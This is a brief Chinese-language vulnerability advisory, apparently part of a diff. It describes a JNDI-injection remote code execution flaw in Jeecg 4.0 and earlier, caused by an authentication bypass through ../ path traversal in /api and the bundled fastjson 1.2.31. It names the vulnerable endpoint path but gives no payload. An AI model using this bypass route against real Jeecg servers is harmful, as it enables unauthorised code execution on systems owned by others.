+## Jeecg-jeecgFormDemoController存在JNDI代码执行漏洞
+
+Jeecg (J2EE C ode G eneration)是一款基于代码生成器的低代码开发平台, 使用 JEECG 可以简单快速地开发出企业级的 Web 应用系统。目前官方已停 止维护。 JEECG 4.0 及之前版本中，由于 /api 接口鉴权时未过滤路径遍历，攻击 者可构造包含 ../ 的 url 绕过鉴权。
+
+因为依赖 1.2.31 版本的 fastjson， 该版本存在反序列化漏洞。攻击者可对 /api/../jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻 击实现远程代码执行
